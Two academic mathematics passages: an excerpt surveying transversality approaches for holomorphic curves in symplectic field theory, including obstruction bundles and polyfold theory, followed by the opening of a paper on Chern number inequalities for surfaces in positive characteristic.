transversality problem for holomorphic curves in full generality.
\subsection{Automatic transversality in dimension four}
It is well-known that holomorphic curve techniques are particularly powerful for four-dimensional symplectic manifolds
and, in the same way, for three-dimensional contact manifolds. The reason is that, since in this case the holomorphic
curves have half the dimension of the surrounding symplectic manifold, one can use intersection theory to prove stronger
results. Following [MDSa] the central observation is that holomorphic curves always intersect positively with respect to the induced
orientations, so that the number of intersection points and singularities can be bounded from above by purely
topological quantities. \\
The intersection theory is used in two ways: apart from the fact that it excludes that sequences of
'sufficiently nice' curves converge to 'bad' multi-level curves, say, with orbit curve components, it implies automatic
transversality results which even hold for multiply-covered curves and non-generic choices of almost complex structures. \\
To be more precise, based on previous work by Hofer-Lizan-Sikorav, R. Siefrings and V.
Shevishisin, C. Wendl has proven in [W] an automatic transversality result for SFT in dimension four, which
he also used to prove that sequences of so-called nicely-embedded curves, which are the building blocks of finite energy
foliations in SFT in dimension four (see [W] and the reference therein), converge to multi-level curves without orbit
curve components. In particular, while none of the definitions is stronger than the other, it follows that the embedded
curves studied by Wendl (which, roughly speaking, have embedded image in the contact manifold $V$) satisfy a stronger compactness result
than the embedded curves studied in embedded contact homology by Hutchings and Taubes (which have, again roughly speaking,
embedded image in $\operatorname{\mathbb{R}}\times V$). \\
Apart from the fact that his results only apply when the underlying contact manifold
is three-dimensional, it only establishes transversality for very special classes of holomorphic curves, since problems
occur when the curve has genus, singularities or approaches Reeb orbits with even Conley-Zehnder index. On the other hand,
A. Momin has shown in his recent preprint [M] that, in case there do not exist contractible Reeb orbits, one can define
cylindrical contact homology for three-dimensional contact manifolds by combining Wendl's automatic transversality result
with the standard transversality result for simple curves.
\subsection{Obstruction bundles}
As we have seen in the last section it is easy to find examples of multiply-covered curves where transversality
can never be satisfied. In other words, it follows from index computations that at such curves the linearized
Cauchy-Riemann operator must always have a nonzero cokernel. In these cases, it follows that the best one can hope
for is that the moduli space of multiply-covered curves is a manifold of the wrong dimension and that the cokernels
fit together to give finite-dimensional bundle over this moduli space, where the rank of the bundle is given by the
difference between the wrong dimension of the moduli space and the right dimension expected by the Fredholm index.
Following C. Taubes, see also [MDSa] and [LP], one can then use sections of this \emph{obstruction bundle} to perturb
the Cauchy-Riemann operator
in such a way that the perturbed Cauchy-Riemann is transversal to the zero section in the Banach space bundle whenever
the section of the obstruction bundle is transversal to the zero section and the zero set of the obstruction bundle
section can be identified with the regular moduli space defined by the perturbed Cauchy-Riemann operator. \\
Let $\operatorname{\mathcal{M}}'$ denote a moduli space of simple $\underline{J}$-holomorphic curves $v:(\dot{S}',j')\to(\operatorname{\mathbb{R}}\times V,\underline{J})$ and consider
the corresponding moduli space $\operatorname{\mathcal{M}}$ of multiple covers \\$u=v\circ\varphi:(\dot{S},j)\to(\dot{S}',j')\to(\operatorname{\mathbb{R}}\times V,\underline{J})$, where
$v:(\dot{S}',j')\to(\operatorname{\mathbb{R}}\times V,\underline{J})$ is a simple curve in $\operatorname{\mathcal{M}}'$ and $\varphi:(\dot{S},j)\to(\dot{S}',j')$ is any branched
covering map between punctured Riemann surfaces. For generic choice of almost complex structure $\underline{J}$ it easily
follows from the transversality result for simple curves that not only $\operatorname{\mathcal{M}}'$ but also the moduli space $\operatorname{\mathcal{M}}$
of multiple covers $u=v\circ\varphi$ carries a nice manifold structure of (local) real dimension
$\operatorname{ind}(v)+2\#\operatorname{Crit}(\varphi)$. To be more precise, for the tangent spaces we have
$$T_u\operatorname{\mathcal{M}}=T_v\operatorname{\mathcal{M}}'\oplus \operatorname{\mathbb{C}}^{\#\operatorname{Crit}(\varphi)},$$ where the second summand keeps track of the deformations of
$u=v\circ\varphi$ as a multiple cover. \\
In order to show that the cokernels of the linearized operators $D_u$ fit together to give a nice vector bundle
of the right rank, it suffices by $\operatorname{ind}(u) = \dim\ker D_u - \dim\operatorname{coker} D_u$ to prove that $\dim T_u\operatorname{\mathcal{M}} = \dim\ker D_u$,
which by the obvious inclusion $T_u\operatorname{\mathcal{M}}\subset\ker D_u$ is indeed equivalent to $T_u\operatorname{\mathcal{M}}=\ker D_u$. In other words,
it remains to show that multiple covers are sufficiently isolated in the sense that every infinitesimal deformation
of a multiple cover as a holomorphic curve is still a multiply-covered curve, which however
need not be true and is in general very hard to establish. \\
However, in [F2] it is shown that this is true for
moduli space of orbit curves, the basic examples of holomorphic curves in SFT, using an infinitesimal version of
the statement in [BEHWZ] that every curve with zero contact area is an orbit curve. Apart from the fact that in [F2]
(and [F3] with gravitational descendants) this obstruction bundle method is employed to actually compute the contribution
of orbit curves to the SFT invariants, in an ongoing project with C. Wendl the author is using the above automatic transversality
result in dimension four to show that the obstruction bundle technique can be used to study multiple covers of
nicely-embedded curves. Together with the invariants for closed Reeb orbits obtained in [F2], [F3] this is used to
define a local version of SFT, where the objects are closed Reeb orbits instead of contact manifolds, while the
nicely-embedded curves replace the symplectic cobordisms as morphisms of the topological quantum field theory.
\subsection{Domain-dependent almost complex structures}
The last special approach to the transversality problem we want to discuss briefly are domain-dependent almost complex
structures. While this is the special approach which is most promising to prove transversality in SFT in full generality,
so far it could only be successfully applied to the transversality problem in Gromov-Witten theory by K. Cieliebak and
K. Mohnke in [CM] and to SFT in the Floer case in [F1], while the general case currently seems out
of reach. \\
Roughly speaking, the main idea of this approach is to 'correct' the transversality proof for simple curves in such
a way that it also proves transversality for multiply-covered curves. Recall that for the transversality result for
simple curves one shows that the space of almost complex structures is indeed large enough to ensure that the
Cauchy-Riemann operator is transversal to the zero section when one additionally allows the almost complex structure to
vary. While the latter is in general not true for multiply-covered curves, it can be shown, see [Sch], that
transversality indeed
holds also for multiply-covered curves when one enlarges the dimension of the base by allowing the almost complex
structure to additionally depend on points on the underlying punctured Riemann surface. \\
While this approach can be used to show that all moduli spaces $\operatorname{\mathcal{M}}^0$ of parametrized curves can be transversally
cut out of the Banach manifold $\operatorname{\mathcal{B}}^0$ for generic choices of domain-dependent almost complex structures, we would be
able to solve the transversality problem in SFT when we could ensure that the automorphism groups $\operatorname{Aut}(\dot{S},j)$ still
act on $\operatorname{\mathcal{M}}^0$ so that we can still define the desired moduli space $\operatorname{\mathcal{M}}$ of unparametrized curves as quotient, and that
all the choices of domain-dependent almost complex structures can be made coherent so that everything extends nicely
to the compactified moduli space $\overline{\operatorname{\mathcal{M}}}$. \\
It follows from the first requirement that the chosen domain-dependent almost
complex structures must be covariant with respect to the action of the automorphism group. While for domain-stable curves,
that is, curves with three or more punctures, this automorphism group is trivial, for domain-independent curves like holomorphic spheres, planes or cylinders
(without additional marked points) one can show that the allowed domain-dependent almost complex structure are no longer
allowed to depend on points on the domain, i.e., must be almost complex structures in the usual sense. It follows that
the approach still cannot establish transversality for curves which are not only multiply-covered but also domain-unstable. \\
In [CM] the authors solve this problem for Gromov-Witten theory by employing Donaldson's construction of
symplectic hypersurfaces in closed symplectic manifolds. Indeed, while holomorphic spheres without marked points
are domain-unstable, they use these hypersurfaces to introduce enough marked points on the spheres so that they become
domain-stable. In order to guarantee that in the end one counts the same objects as in usual Gromov-Witten theory, it
is important that the number of marked points is determined a priori by the topological quantity of energy of the holomorphic sphere, since the hypersurface represents a (large multiple of) the homology class Poincare-dual to the cohomology class given by
the symplectic form. \\
At first sight the situation in SFT seems to be significantly easier, since almost all holomorphic curves
studied in SFT are already domain-stable since they carry enough positive and negative punctures. However, if not
explicitly excluded, domain-unstable curves like spheres, planes or cylinders still exist and need to be stabilized
in order to prove transversality using domain-dependent almost complex structures. \\
In [F1] it is shown that in the Floer case with symplectically aspherical symplectic manifold $M$ one can establish
transversality using domain-dependent almost complex structures which are symmetric with respect to the natural
$S^1$-symmetry on the underlying trivial mapping torus $V=S^1\times M$, where the symmetry is used to compute the SFT-invariants for this
important special case. While holomorphic spheres and planes do not exist, it is crucial for the proof that for
holomorphic cylinders, which agree with Floer cylinders, transversality can be established with $S^1$-symmetric
almost complex structures as long as the Hamiltonian is sufficiently small in the $C^2$-norm such that all Floer
cylinders are indeed Morse trajectories. \\
Apart from the fact that for the general case it is very hard to exclude the
existence of holomorphic planes, there already exists a problem with holomorphic cylinders in the general case,
since as in usual Floer homology transversality for holomorphic cylinders can only be established for cylindrical almost complex
structures which additionally depend on the natural $S^1$-coordinate on the cylinder. It follows that one needs to find a
way to 'coherently' fix special points on all closed Reeb orbits (not only the simple ones) which in turn can be used to fix unique
$S^1$-coordinates on all holomorphic cylinders, which does not exist to date.
\section{A new Fredholm theory}
While these special approaches are very useful for computations, seeing the limitations in all existing approaches the reader
is hopefully motivated enough to approach the transversality problem for holomorphic curves using a completely new
Fredholm theory. Apart from the fact that in this new Fredholm theory transversality for the Cauchy-Riemann operator
can be achieved by simply perturbing it into general position as well-known for finite-dimensional vector bundles, it
further also allows to prove that all computations using different special approaches lead to the same result as it
contains all the perturbations for the Cauchy-Riemann operator obtained from the special approaches as a special case.
\subsection{Transversality using abstract perturbations}
It is well-known from classical differential topology that in finite-dimensional vector bundles over finite-dimensional
manifolds every section can be made transversal to the zero section by slightly perturbing it into general position.
Instead of using special approaches to achieve transversality like domain-dependent almost complex structures, it is
clear that the most natural solution to the transversality problem would consist of such an abstract transversality
result using generic perturbations. \\
Recall that in the classical approach one has to show that the moduli space $\operatorname{\mathcal{M}}^0$ of parametrized curves is
transversally cut out by the Cauchy-Riemann operator as a section in the infinite-dimensional Banach space bundle
$\operatorname{\mathcal{E}}^0\to\operatorname{\mathcal{B}}^0$. On the other hand, this moduli space can only be compactified in geometric way after dividing out
the the action of the automorphism group $\operatorname{Aut}(\dot{S},j)$ of the domain (and the natural $\operatorname{\mathbb{R}}$-action on the target
$\operatorname{\mathbb{R}}\times V$) to give the moduli space $\operatorname{\mathcal{M}}$ of unparametrized curves, while the compactified moduli space
$\overline{\operatorname{\mathcal{M}}}$ is equipped with a nice manifold structure with boundary and corners using a gluing result, which however relies
on transversality. \\
Using an abstract transversality result for sections in the Banach space bundle $\operatorname{\mathcal{E}}^0\to\operatorname{\mathcal{B}}^0$ as in the
finite-dimensional case to obtain a perturbed Cauchy-Riemann operator $\bar{\partial}_{\underline{J}}^{\nu}=\bar{\partial}_{\underline{J}}+\nu$, it would follow that the
transversality problem is solved as long as it is guaranteed that
\begin{enumerate}
\item the automorphism group $\operatorname{Aut}(\dot{S},j)$ of the domain (and the $\operatorname{\mathbb{R}}$-action on the target) still acts on the resulting
perturbed moduli space $$(\operatorname{\mathcal{M}}^0)^{\nu}=(\bar{\partial}_{\underline{J}}^{\nu})^{-1}(0)\subset\operatorname{\mathcal{B}}^0$$ of parametrized curves to define the perturbed
moduli space $\operatorname{\mathcal{M}}^{\nu}$ of unparametrized curves and
\item the different abstract perturbations $\nu$ for the different moduli spaces appearing the compactification of the
moduli space can be chosen coherently so that the perturbed moduli spaces can be glued together to give a new perturbed
compactified moduli space $\overline{\operatorname{\mathcal{M}}}^{\bar{\nu}}$. \\
\end{enumerate}
First, while it is easy to see that (1) is not satisfied for a general abstract perturbation of the Cauchy-Riemann operator in
$\operatorname{\mathcal{E}}^0\to\operatorname{\mathcal{B}}^0$, recall from the last sectio that it was precisely this symmetry property which caused the problems
with domain-unstable curves in the transversality approach using domain-dependent almost complex structures. On the other
hand, assuming for the moment that this first problem could be solved, it is not clear on the level of abstract
perturbations, which are still sections in infinite-dimensional Banach space bundles, in which sense they "smoothly
fit together" such that (2) holds, that is, the resulting perturbed moduli spaces can be glued together to give a
perturbed compactified moduli space with a nice manifold structure with boundaries and corners. \\
While the problems (1) and (2) are much easier to handle for the special transversality approaches like obstruction
bundles and domain-dependent almost complex structures, it is not clear how to solve them within the classical approach
using Banach space bundles over Banach manifolds. In the end this is due to the fact that in both special approaches
the abstract perturbations actually depend on finite-dimensional spaces. Indeed, while in the obstruction bundle and the
domain-dependent almost complex structures approaches the resulting perturbations of the Cauchy-Riemann operator depend
on points on the underlying nonregular moduli space of multiple covers or moduli space of punctured Riemann surfaces,
respectively, the general abstract perturbations using the abstract perturbation approach depend on points on the
infinite-dimensional Banach manifold. \\
Before discussing the problems appearing with infinite-dimensional manifolds, let us first sketch our dreamland. \\
First, in order to find perturbations for the Cauchy-Riemann operator using an abstract perturbation scheme solving
(1), i.e., which are in addition symmetric with respect to the action of the automorphism group of the domain (and
the $\operatorname{\mathbb{R}}$-symmetry of the target), we would hope to find a new "infinite-dimensional bundle" $\operatorname{\mathcal{E}}\to\operatorname{\mathcal{B}}$, which
contains the Cauchy-Riemann operator as a "smooth" section, such that the moduli space $\operatorname{\mathcal{M}}$ of \emph{unparametrized} curves
(not $\operatorname{\mathcal{M}}^0$) is the zero set of this Cauchy-Riemann section. Indeed, perturbing the Cauchy-Riemann operator in this
new bundle setup into general position, the resulting abstract perturbation automatically has the desired property. \\
On the other hand, proceeding in the same way, we can further solve the problem (2) to find abstract perturbations
which coherently fit together "in a smooth way", if we can construct an even more general "infinite-dimensional bundle"
$\overline{\operatorname{\mathcal{E}}}\to\overline{\operatorname{\mathcal{B}}}$ which again contains the Cauchy-Riemann operator as "smooth" section, but whose zero
set is now already the compactified moduli space $\overline{\operatorname{\mathcal{M}}}$. Again, perturbing the Cauchy-Riemann operator in this
new bundle setup into general position, we find a "smooth" abstract perturbation which restricts to smooth abstract
perturbations for the noncompact moduli space and the moduli spaces appearing in the boundary such that the resulting
perturbed moduli spaces can be glued to a perturbed compactified moduli space with the desired manifold structure.
\subsection{Motivation for sc-structures and sc-manifolds}
In the same way as the moduli space $\operatorname{\mathcal{M}}$ was obtained from the moduli space $\operatorname{\mathcal{M}}^0$ by dividing out the symmetries of
the domain (and the target), $\operatorname{\mathcal{M}}=\operatorname{\mathcal{M}}^0/\operatorname{Aut}(\dot{S},j)(\times \operatorname{\mathbb{R}})$, the canonical way to obtain the infinite-dimensional bundle
$\operatorname{\mathcal{E}}\to\operatorname{\mathcal{B}}$ solving (1) is to make use of the fact that the action extends to the Banach manifold of maps $\operatorname{\mathcal{B}}^0$ and
also lifts to an action on the Banach space bundle $\operatorname{\mathcal{E}}^0$ and define $$\operatorname{\mathcal{E}}=\operatorname{\mathcal{E}}^0/\operatorname{Aut} \to \operatorname{\mathcal{B}}=\operatorname{\mathcal{B}}^0/\operatorname{Aut}.$$
Provided that the symmetry group $\operatorname{Aut}(\dot{S},j)$ still acts smoothly with respect to the Banach manifold topology on
$\operatorname{\mathcal{E}}^0\to\operatorname{\mathcal{B}}^0$, it would follow that the new bundle $\operatorname{\mathcal{E}}\to\operatorname{\mathcal{B}}$ is still a Banach space bundle over a Banach manifold
and (1) could be proved using the same abstract transversality result as used for the classical Banach space bundle
$\operatorname{\mathcal{E}}^0\to\operatorname{\mathcal{B}}^0$. \\
In order to solve (1) it hence only remains to verify that the action of $\operatorname{Aut}(\dot{S},j)$ is indeed smooth with respect to
the classical Banach manifold topology. As toy model for symmetries of the domain, we restrict for the moment
our attention to classical Morse theory. Here the Banach manifold of maps is the space of paths from one fixed (critical)
point on the underlying manifold to another fixed (critical) point, where for simplicity we assume that the manifold
is just the linear space and the paths start and end at $0\in\operatorname{\mathbb{R}}^n$. \\
In this case the Banach manifold of paths is just
the linear Banach space $H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n)$ with $k\geq 1,p\geq 2$ and we consider the action by translations,
$$ \tau: \operatorname{\mathbb{R}} \times H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n) \to H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n),\; (s,u)\mapsto u(\cdot + s).$$
In order to check whether this map is smooth, we first need to check that it is even differentiable. Assuming for the
moment that $u$ is actually an element in the dense subspace $C^{\infty}_0(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n)\subset H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n)$ of
smooth functions (with appropriate decay to zero near $\pm\infty$), basic calculus gives us the result
$$D\tau: \operatorname{\mathbb{R}} \times H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n) \to H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n),\; D\tau(0,u)\cdot (1,\xi) =u'+\xi,\;
u'=\frac{\partial u}{\partial s}. $$
Since the formula for the differential of the shift map involves
the first derivative of the map $u\in H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n)$ it follows that, in order to define a map to
$H^{k,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n)$, \emph{the differential is only defined at maps $u$ in the subspace
$H^{k+1,p}(\operatorname{\mathbb{R}},\operatorname{\mathbb{R}}^n)$ !} \\
In the same way as in the Morse theory example, it follows that the differential of the action of the symmetries of the
domain is only defined at elements in the dense subset $\operatorname{\mathcal{B}}^0_1\subset\operatorname{\mathcal{B}}^0$ with
$$\operatorname{\mathcal{B}}^0_1=H^{k+1,p,\delta}(\Gamma^+,\Gamma^-)\times\operatorname{\mathcal{M}}_{0,s}.$$ Proceeding further, it can be shown that the higher
derivatives can only be computed at points in the dense subsets $\operatorname{\mathcal{B}}^0_{\ell}= H^{k+\ell,p,\delta}(\Gamma^+,\Gamma^-)\times
\operatorname{\mathcal{M}}_{0,s}$, while all derivatives only exist at maps $(u,j)$ in the dense subset
$\operatorname{\mathcal{B}}^0_{\infty} = C^{\infty}_0(\Gamma^+,\Gamma^-)\times \operatorname{\mathcal{M}}_{0,s}$ of smooth maps, where
$$C^{\infty}_0(\Gamma^+,\Gamma^-) := \bigcap_{\ell=0}^{\infty} H^{k+\ell,p,\delta}(\Gamma^+,\Gamma^-).$$
It follows that in the classical Banach manifold topology on $\operatorname{\mathcal{B}}^0$ the action of the symmetries is \emph{not}
smooth, \emph{so that the naive approach for equipping the bundle $\operatorname{\mathcal{E}}=\operatorname{\mathcal{E}}^0/\operatorname{Aut}\to\operatorname{\mathcal{B}}=\operatorname{\mathcal{B}}^0/\operatorname{Aut}$ with the
structure of a smooth infinite-dimensional bundle to solve (1) does not work !} \\
On the other hand, in order to define a new (infinite-dimensional) differential topology on $\operatorname{\mathcal{B}}^0$ (and $\operatorname{\mathcal{E}}^0$),
it seems natural to equip the underlying Banach spaces $E$ with a scale structure
$$...\subset E_2\subset E_1\subset E_0 = E$$ as it is well-known in wavelet theory (also called multi-resolution analysis) in
numerical mathematics. In order to ensure that the
derivative always exists, the tangent bundle $T\operatorname{\mathcal{B}}^0$ to the manifold of maps $\operatorname{\mathcal{B}}^0$ should only sit over the dense subset
$\operatorname{\mathcal{B}}^0_1$,$$T\operatorname{\mathcal{B}}^0\to\operatorname{\mathcal{B}}^0_1,$$ so that differentiability only needs to be checked at curves with higher regularity. \\
While all this sounds rather distressing, in the very same way it should come as a great surprise that Hofer, Wysocki
and Zehnder were actually able to build a new (infinite-dimensional) differential topology on
the afore-mentioned \emph{scale-calculus} (sc-calculus) (see [HWZ] and [H] and the references therein), which is on the one hand
\begin{itemize}
\item \emph{weak enough} such that the action of the symmetries on the infinite-dimensional manifolds (in the new sense) is
smooth, but on the other hand also
\item \emph{strong enough} such that the zero set of the Cauchy-Riemann operator is, after perturbing the latter into
general position, a finite-dimensional manifold in the usual sense.
\end{itemize}
In order to see that this new scale differential topology really reduces to the usual differential topology in finite
dimensions, it should be mentioned that the inclusions in the sequences of subspaces $...\subset E_2\subset E_1\subset
E_0 = E$ are actually required to be compact, so that neccessarily $E=E_0=E_1=E_2=...$ if $E$ is finite-dimensional.
In particular, recall that for the finite-dimensional moduli spaces there is no problem with smoothness since all the holomorphic
curves are automatically smooth by elliptic regularity.
\subsection{Motivation for retracts and polyfolds}
After this short digression on the problem of equipping the bundle $\operatorname{\mathcal{E}}\to\operatorname{\mathcal{B}}$ with a nice smooth structure in order to
solve (1) and on the main ideas how Hofer and his collaborateurs were able to solve it using their sc-calculus, it remains
the problem to equip the bundle $\overline{\operatorname{\mathcal{E}}}\to\overline{\operatorname{\mathcal{B}}}$ with an even more general smooth structure in order to
also solve (2) to obtain a general transversality result for the Cauchy-Riemann operator, which would in turn solve
the transversality problem in SFT in full generality. \\
Assume that a sequence of holomorphic curves $(u_n,j_n)$ in $\operatorname{\mathcal{M}}$ converges to a broken or nodal curve
$(u_{\infty},j_{\infty})$, where $u_{\infty}: (\dot{S}_{\infty},j_{\infty})\to(\operatorname{\mathbb{R}}\times V,\underline{J})$ starts from the
nodal Riemann surface with punctures $(\dot{S}_{\infty},j_{\infty})$. We want to describe a neighborhood of
$(u_{\infty},j_{\infty})$ in the space of maps $\overline{\operatorname{\mathcal{B}}}$ containing the compactified moduli space $\overline{\operatorname{\mathcal{M}}}$. \\
For this we first need to glue the nodal Riemann surface $(\dot{S}_{\infty},j_{\infty})$ to a smooth Riemann surface $(\dot{S}_r,j_r)$
depending on the gluing parameter $r\in [0,\infty)$ (for $r$ sufficiently large). Since the gluing
should be defined as usual by choosing cylindrical
coordinates $[0,\infty)\times S^1$ and $(-\infty,0]\times S^1$ near the double-points, removing the half-infinite
cylinders $[r,\infty)\times S^1$ and $(-\infty,-r)\times S^1$ and gluing the resulting Riemann surface with boundary
in the obvious way, it follows that we can think of the glued smooth Riemann surface $(\dot{S}_r,j_r)$ as a (non-connected !)
subset of $(\dot{S}_{\infty},j_{\infty})$. Neglecting the use of cut-off function for smoothness for simplicity, it follows
that there exists a natural (pre-)gluing map to obtain from $(u_{\infty},j_{\infty})$ a family of maps $(u_r,j_r)$
starting from the smooth Riemann surface $\dot{S}_r$ by defining $u_r = u_{\infty}|_{\dot{S}_r}$ as $\dot{S}_r\subset\dot{S}_{\infty}$. \\
Forgetting about the variation of the complex structure on the domain, recall that the tangent space
at $(u_{\infty},j_{\infty})$ to the manifold of maps starting from the nodal Riemann surface $\dot{S}_{\infty}$ should be given by
$$ H^{k,p,\delta}(u_{\infty}^*T(\operatorname{\mathbb{R}}\times V)) = H^{k,p,\delta}(\dot{S}_{\infty},\operatorname{\mathbb{C}}^n), $$
where the identity follows by choosing a unitary trivialization of the pull-back bundle $u_{\infty}^*T(\operatorname{\mathbb{R}}\times V)$.
On the other hand, for the (pre-)glued curve $(u_r,j_r)$ the space of infinitesimal deformations as a map starting from the
glued Riemann surface $\dot{S}_r$ is given by
$$ H^{k,p,\delta}(u_r^*T(\operatorname{\mathbb{R}}\times V)) = H^{k,p,\delta}(\dot{S}_r,\operatorname{\mathbb{C}}^n), $$
where we explicitly assume that the unitary trivialization of $u_r^*T(\operatorname{\mathbb{R}}\times V)$ is given by the unitary trivialization
of $u_{\infty}^*T(\operatorname{\mathbb{R}}\times V)$ using that $u_r=u_{\infty}|_{\dot{S}_r}$. \footnote{When one uses cut-off functions
for the definition of the pre-glued map we need to employ parallel transport in order to identify the unitary trivializations.}\\
Viewing $\dot{S}_r$ as a subset of $\dot{S}_{\infty}$ and using zero extension (we again forget about cut-off functions for sufficient
regularity for simplicity) it follows that we can naturally view the space of infinitesimal variations
(the tangent space to the manifold of maps) of each (pre-)glued map $(u_r,j_r)$ as a subset of the space of
infinitesimal variations of the underlying nodal map $(u_{\infty},j_{\infty})$. Moreover, there exists a natural projection
$$\pi_r: H^{k,p,\delta}(\dot{S}_{\infty},\operatorname{\mathbb{C}}^n) \to H^{k,p,\delta}(\dot{S}_r,\operatorname{\mathbb{C}}^n), $$ which is just given by restricting (we still
forget about cut-off functions for sufficient regularity for simplicity).
In particular, observe that, while the moduli spaces which one has to add in order
to compactify a moduli space always have a smaller dimension than the original moduli space, at least as expected by the
Fredholm index, the space of variations as a (not neccessarily holomorphic) map is always larger for the curves in
the boundary. \\
It follows that the desired manifold of maps $\overline{\operatorname{\mathcal{B}}}$, containing the compactified moduli space $\overline{\operatorname{\mathcal{M}}}$
as a subset, should locally near the nodal curve $(u_{\infty},j_{\infty})$ be given (forgetting the variation of
the complex structure for simplicity) by
\begin{eqnarray*}
O &=& \bigcup_{r\in R} \{r\}\times H^{k,p,\delta}(\dot{S}_r,\operatorname{\mathbb{C}}^n) \\
&=& \{(r,\pi_r(u)): (r,u)\in R\times H^{k,p,\delta}(\dot{S}_{\infty},\operatorname{\mathbb{C}}^n)\} \\
&=& \rho(U),
\end{eqnarray*}
when we choose $$U= R\times H^{k,p,\delta}(\dot{S}_{\infty},\operatorname{\mathbb{C}}^n),\; \rho:U\to U,\; \rho(r,u)=(r,\pi_r(u)), $$
so that, in particular, $\rho\circ\rho=\rho$. \\
But with our reasoning we directly arrived at the definition of a \emph{retract} by Hofer, Wysocki and Zehnder, which
is the local model of a M-polyfold. Using their scale-calculus which we motivated before, they show in their papers
that these new geometric objects can be equipped with an infinite-dimensional differentiable topology. In particular,
it turns out that their scale differential topology is again indeed
\begin{itemize}
\item \emph{weak enough} to allow dimension jumps, in particular, deal with the fact that the dimension goes up at
the strata which contain the boundary of the moduli space, but still
\item \emph{strong enough} to detect the different strata, in particular, distinguish between interior and boundary strata.
\end{itemize}
\subsection{The Fredholm package}
Besides defining a new infinite-dimensional differential topology for sc-manifolds and, more generally, (M-)polyfolds,
Hofer, Wysocki and Zehnder show in their papers that one can generalize the usual Fredholm package used in the
classical approach to these new categories of geometric objects. In particular, apart from defining (non-linear)
Fredholm sections in bundles, they prove an implicit function theorem and an abstract perturbation
scheme leading to the desired abstract transversality result for the Cauchy-Riemann operator. \\
While in the sc-category the Fredholm property is still very natural and leads to an elegant proof of elliptic regularity
by making use of the sc-structure, for M-polyfolds one is faced with the problem that their local model is no longer a
linear space but a retract which can be viewed as a parametrized family of subspaces. Since these subspaces have locally
varying dimensions, more precisely, are obtained from a fixed infinite-dimensional linear space by removing varying
infinite-dimensional subspaces, it does no longer suffice to call the linearization Fredholm when the linear operator is
an isomorphism up to a finite-dimensional kernel and cokernel. Due to this problem with the jumping of dimensions, Hofer and
his collaborateurs introduced the notion of a "filler" and a "filled section", which solve the problem and lead to a
generalized definition of Fredholm. \\
Finally, while we have already mentioned and used that the new differential topology is
weaker than the classical differential topology, this has the draw-back that for the new implicit function theorem (IFT) for
sc-manifolds and polyfolds it does not only suffice to study the linearization of the section, but one more generally
needs to study the germ of the section (naturally defined using the sc-structure) near the zero. The resulting
"germ IFT" however suffices to equip the zero set of the Cauchy-Riemann operator with a nice
manifold structure with boundary and corners, of course, only after possibly perturbing it into general position using
the abstract perturbation scheme.
|
1,477,468,750,036 | arxiv | \section{Introduction}\label{introduction}
This is a modest attempt to study, in a systematic manner, the
structure of low dimensional varieties using $p$-adic invariants.
The main objects of interest in this paper are surfaces and
threefolds. It is known that there are many (counter) examples of
``pathological'' or unexpected behavior in surfaces and even of
threefolds. Our focus has been on, obtaining
systematically, general positive results instead of counter
examples. Here are some questions which this paper attempts to
address.
\subsection{The problem of Chern number inequalities}
We will take as thoroughly understood, the theory of algebraic surfaces over complex numbers. Let $X/k$ be a smooth, projective surface over an algebraically closed field $k$, of characteristic $p>0$. There has been considerable work, of great depth and beauty, on Bogomolov-Miyaoka-Yau inequality in positive characteristic (as well as in characteristic zero). Despite this, our understanding of the issue remains, at the best, rather primitive. It is has been known for some time that the famous inequality of Bogomolov-Miyaoka-Yau (see \cite{bogomolov78}, \cite{miyaoka77}, \cite{yau77}):
\begin{equation}
c_1^2\leq 3c_2
\end{equation} for Chern numbers of $X$ fails in general.
In fact it is possible to give examples of surfaces of general type in characteristic $p\ge5$ such that
\begin{equation}
c_1^2>pc_2,
\end{equation}
and even surfaces for which
\begin{equation}
c_1^2>p^nc_2,
\end{equation}
for suitable $n\geq 1$.
Much of the existent work on this subject has been carried out from the geometric point view. However as we point out in this paper, the problem is not only purely of \textit{geometric} origin, but rather of \textit{arithmetic} origin. More precisely, \textit{infinite $p$-torsion} of the \textit{slope spectral sequence} intervenes in a crucial way, already, in any attempt to prove the weaker inequality (\cite{deven76a}):
\begin{equation}
c_1^2\leq 5c_2.
\end{equation}
Before proceeding further, let us dispel the notion that infinite torsion in the slope spectral sequence is in any way ``pathological.'' Indeed any supersingular K3 surface; any abelian variety of dimension $n$ and of $p$-rank at most $n-2$ and any product of smooth, projective curves with supersingular Jacobians, and even Fermat varieties of large degree (for $p$ satisfying a suitable congruence modulo the degree) all have infinite torsion in the slope spectral sequence (this list is by no means exhaustive or complete) and as is well-known, this class of varieties is quite reasonable from every other geometric and cohomological point of view. So we must view the presence of infinite torsion as far from being pathological, rather as an entry of the \textit{subtler arithmetic of the slope spectral sequence} of the variety \textit{into the question of its geometry}.
The following questions arise at this point:
\begin{enumerate}
\item What is the weakest inequality for Chern numbers which holds for a large class of surfaces?
\item Is there a class of surfaces for which one can prove some inequality of the form
$c_1^2\leq Ac_2$ (with $A>0$)?
\item Where does the obstruction to Chern class inequality for $X$ originate?
\end{enumerate}
The questions are certainly quite vague, but also quite diffiult: as the examples of surfaces of general type with $c_1^2>pc_2$ illustrates, and are not new (for example the first was proposed in \cite{shepherd-barron91b}). In this paper we provide some answers to all of these questions. Our answers are not satisfactory, at least to us, but should serve as starting point for future investigations and to pose more precise questions.
Consider the first question. We show in Theorem~\ref{surfaces-with-non-negative-h11} that
\begin{equation*} c_1^2\leq 5c_2+6b_1
\end{equation*}
for a large class of surfaces. This class includes surfaces whose Hodge-de Rham spectral sequence degenerates at $E_1$ or which lift to $W_2$ and have torsion free crystalline cohomology (that is Mazur-Ogus surfaces), or surfaces which are ordinary (or more generally Hodge-Witt). \textit{Moreover there also exists surfaces which do not satisfy this inequality.}
